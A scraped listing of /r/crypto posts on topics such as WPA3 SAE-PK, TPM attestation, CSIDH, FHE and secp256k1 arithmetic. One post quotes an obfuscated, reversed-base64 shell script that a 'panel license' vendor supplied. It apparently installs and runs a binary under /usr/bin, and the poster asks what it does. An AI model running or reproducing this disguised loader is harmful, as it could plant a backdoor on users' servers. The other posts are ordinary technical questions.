/r/crypto
Cryptography is the art of creating mathematical assurances for who can do what with data, including but not limited to encryption of messages such that only the key-holder can read it. Cryptography lives at an intersection of math and computer science.
This is a technical subreddit covering the theory and practice of modern and strong cryptography.
... is the art of creating mathematical / information theoretic assurances for who can do what with data, including but not limited to the classical example of encrypting messages so that only the key-holder can read it. Cryptography lives at an intersection of math and computer science.
This subreddit is intended for links and discussions surrounding the theory and practice of modern and strong cryptography.
Please note that this subreddit is technical, not political! The focus is on the algorithms and the security of the implementations.
Because this subreddit currently is in restricted mode, you will NOT be able to post or comment before your account has been approved. Send us a reason for why you want to join via mod mail, click here and tell us why you want to discuss cryptography;
https://www.reddit.com/message/compose/?to=/r/crypto
(along with normal reddiquette)
Don't forget to read our RULES PAGE! The rules listed there are also used as this sub's report reasons. The quick version;
Internal:
External:
Other subreddits that may be of interest:
Theory:
Practical:
Educational, hobbyist:
Political and in the news:
Software:
Related:
Memes and low effort submissions:
Feel free to message the moderators with suggestions for how to improve this subreddit, as well as for requesting adding links in the sidebar.
/r/crypto
I've tried to buy a panel license from a vendor but it gave me a .sh file to run on my server. Inside the file there is the code below. What is it and what does it do?
gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" 'KkmZKEDJgUGdhRGcVNkUv4Wai9iczV3LgAiCuVGa0ByOdBiIiASPhAiIxQiIgsFImlmClRXYkBXVDJ1LulmYvI3c19CI4tCIk9WboNmCKkmZKEjJ+IDIsxWdu9idlR2Lg4DIvwWYj9GbvI3c19CIk1CIwlmeu4USCNkUvwWYj9GbvI3c19CIwlmeuVnCxYiPyACbsVnbvYXZk9CI+ACcppnLOlkQDJ1LylmLyVGduV2YyVGbsV2clJnLy9mcylWbv8iOzBHd0hGIwlmeu4USCNkUvwWYj9GbvI3c19CIP1CI0V2Z3pgblhGdK0FIOlkQDJ1LsF2Yvx2LyNXdvACZtASIgsFImlmCKkmZKISfD50ekAiLkVGbpFmZgcmbpRWYvxmb39GRgUGbpZUfEVkU7RiIgUWLg8GajVG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MlNWNhJDO5M2MhJDMzASPgkiIkVGZh9Gbud3bE9FMx4ybz5CbzNnYpxmLvQ3bvJ3LiASb1NXNk1GKkAyWbBiZppAIxYiPyACbsVnbvYXZk9CI+ACMx4ybz5CbzNnYpx2LylmLyVGduV2YyVGbsV2clJnLy9mcylWbgQWZkF2bs52dvR0XwEjLvNnLsN3cilGbu8Cdv9mcvAyTtACdld2dK4WZoRHI70FIwEjLvNnLsN3cilGbvQjNilGbvI3c19CIm1CIhAyWgYWagogIg0Wd5JSPk5WYt12bDVGZhJ3ZwVHIgogblhGdgsTXgU2chVGblJXL0FGakVmcvMGdl9CIm1CIbBiZppgCiISPk5WYt12bDVGZhJ3ZwVnCKcSbws1MzADXn0zQOpwJtJzM7AzWzMDMcdSPOVURSdkCn0WMzsDMbNzMww1J9QURSpgCpZmCxACdphXZgAiCiECdy9GcwV3cggGdpdHI0NWY052bjBSZzFWZsBFIuAycu9WazJXZ2BCdpJWLyMDI0J3bwBXdzBicldmbvxGIv5GIldlIg8GajVGIgogblhGdgsTXdBiN4oSag0TPgg2YyFGJgs1WgYWaKoQKp1CIl1WYuVHKk0DajJXYKoQampQMgQXa4VGIgoQMm4jMgIiclNXdgQ3bvJHIhBSZiBCdzVXbgU3bZJCIvh2YlBCIK4WZoRHI70VXgADIl5WLgQUSVVEJgs1WgYWaKogLz1WZ0NXezByZul2cuV2YpxGIy9mZgMHduVWblJXa1FXZyBCdwlmcjNHIu9Wa0FGbsFGdz5WSgMiCoN3LulmYvEyI
I just learned about WPA3 SAE-PK, where Wi-Fi access points have a keypair, and the client can authenticate the access point using a digital signature. The signature can be verified because the public key's hash is part of the Wi-Fi password. This is meant to improve security in network where the Wi-Fi password is shared to many users and is basically public knowledge.
But what stops an attacker from setting up an AP without SAE-PK enabled, or even with WPA2? How does the client know the network is supposed to be protected by SAE-PK, if the only information it has is the SSID and the key, aka Wi-Fi password?
Thanks!
Welcome to /r/crypto's weekly community thread!
This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.
Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!
So, what's on your mind? Comment below!
Actually i thought of something very simple based on the following principle:
The function/algorithm which achieves defense against differential attacks must be different from the function/algorithm who uses the key.
Btw, this principle actually exist in AES (so it isn't really something new).Of course, the order in which this functions/algorithms are applied is: first, the one that achieves defense ; second, the ones that uses the key.The difference between this encryption system and AES would be that if the first function is positively provable than there is no need for multiple rounds.First i would choose plaintext size = ciphertext size = key size = 8192 bits.
In my opinion, the second function (the one that uses the key) is pretty boring; basically it can be any function that respects all properties of One Time Pad.Some specific example of such functions are:
For the first function (the one that achieves defense) i'm thinking about a simple function that flips 4097 bits for each bit changed/flipped inside the plaintext.The starting/default (plaintext ; ciphertext) pair is (000...000 ; 000...000) pair.Btw, it is easier to count the positions from 0 instead of 1.If bit (from plaintext) on the position i is changed/flipped. Than all bits (from ciphertext) from the positions:[i ; (i +4096) modulo 8192] closed rangeare changed/flipped.
The question is: What are the weaknesses of this symmetric encryption algorithm (knowing that you can encrypt as many blocks as you want using the same key in ECB mode of operation) ?
https://eprint.iacr.org/2024/555.pdf
Hopefully we can start a thread discussing insights and updates.
Welcome to /r/crypto's weekly community thread!
This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.
Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!
So, what's on your mind? Comment below!
My understanding of TPM is there are essentially 3 parties:
The short of what I'm trying to understand is this. Supposing Bob trusts ASUS the manufacturer, and does not trust Eve, can Bob be assured that Eve is running an application he created as is, with nothing else?
So suppose Bob is developing some web application, call it Survey Ape. Bob makes a build for Survey Ape and loads it into a custom linux image so that if he puts that image on his own HDD it will load linux and auto-start Survey Ape. He sends that build to Eve to run on her host machine. I think the TPM can be used to assure Bob that Eve is in fact running untampered ASUS hardware. But can the TPM attestations also be used to assure Bob that Eve did not modify the linux image before loading it into the hard drive, perhaps changing Survey Ape to harvest credentials?
Suggestions for further reading are appreciated.
Hello, recently I came across "A Friendly Introduction to Supersingular Isogeny Diffie-Hellman" to SIDH by David Urbanik (link). His explanation was very digestible for a layman like me and gave a very clear overview on how SIDH works.
I'm currently looking for something similar but for CSIDH. Many papers on CSIDH assume too much mathematical background for me which makes it very difficult for me to understand what's happening. Does anyone know of a high level overview of CSIDH that assumes a similar mathematical background like Urbanik's?
Particularly, from what I understand, CSIDH works by commutative group action where the group is isogenies acting on some elliptic curve E0. What I'm confused is:
SW5zZXJ0IEFwcmlsIEZvb2xzJyBqb2tlIGhlcmU=
Edit: Oops! Looks like today's post was lost in a supply chain attack! Sorry about that, we moderators know you were looking forward to the yearly traditional post, we promise we will review our security practices for next year so it doesn't happen again! Fortunately our brief internal review says no user data was lost, so there's nothing for you to worry about.
Welcome to /r/crypto's weekly community thread!
This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.
Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!
So, what's on your mind? Comment below!
Welcome to /r/crypto's weekly community thread!
This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.
Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!
So, what's on your mind? Comment below!
I looked at FHE more than 5 years ago and it was not quite there to be useful yet. Microsoft had their SEAL library but nothing outside of that. I think things have changed and it's usable now. How can I get up to date on this topic, papers, blogs, source code, libraries I can read?
From openssl-project/2024-March/003285
This webinar is designed to take you from an understanding of basic cryptography concepts to writing your first secure application using OpenSSL. It's the perfect starting point for anyone looking to dive into the world of secure application development.
Check the mailing list for registration link and full info!
Hello! I am trying to perform some EC arithmetic on the secp256k1 curve.
Specifically, I am having trouble performing a modular multiplication using Hashcat’s OpenCL implementation mul_mod function.
The function as-written is for performing modular multiplication mod P
, but I am needing to perform modular multiplication mod N
. I previously tried to modify the function to use the lib’s SECP256K1_N*
values, but was not getting the proper result.
I noticed that the function uses an optimized algorithm from Modular Multiplication using special prime moduli (p.354 or p.9 in that document), and as such uses a “magic number” from the curve (omega: 0x3d1
) related to the curve’s P value in the internal calculations.
Is there a straight-forward way to alter this function to perform multiplication mod N
? Or, is this specific implementation not compatible due to the “special moduli”? If not compatible, can someone help point me in the right direction of an OpenCL compatible mul_mod secp256k1 implementation?
Welcome to /r/crypto's weekly community thread!
This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.
Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!
So, what's on your mind? Comment below!
This is another installment in a series of monthly recurring cryptography wishlist threads.
The purpose is to let people freely discuss what future developments they like to see in fields related to cryptography, including things like algorithms, cryptanalysis, software and hardware implementations, usable UX, protocols and more.
So start posting what you'd like to see below!
I would need to implement ISO/IEC 9796-2 Schema 1 Signing with private keys stored on a HSM. The modulus MUST be 1024 bit and the hash algorihm MUST be SHA-1. Note, that there is a reference implementation in bouncycastle. I am aware that the length of the modulus and the SHA-1 algorithm are outdated/insecure. Now my question is if there is a cloud based Hardware Security Module provider that offers RSA-1024 with SHA-1 signing. From what I saw this is neither possible with AWS nor Google. Any ideas on how to approach this?
Hello, I am an amateur cryptographer and have seen a few variations on factoring p * q like Fermat's method. I've come up with a variation that has undergone some speed testing. Are there any other simple algorithms before one gets into sieving? Share yours.
My algorithm adds 1 to the square root of n if it is even and then adds 2 to each loop that the condition (n % a) != 0.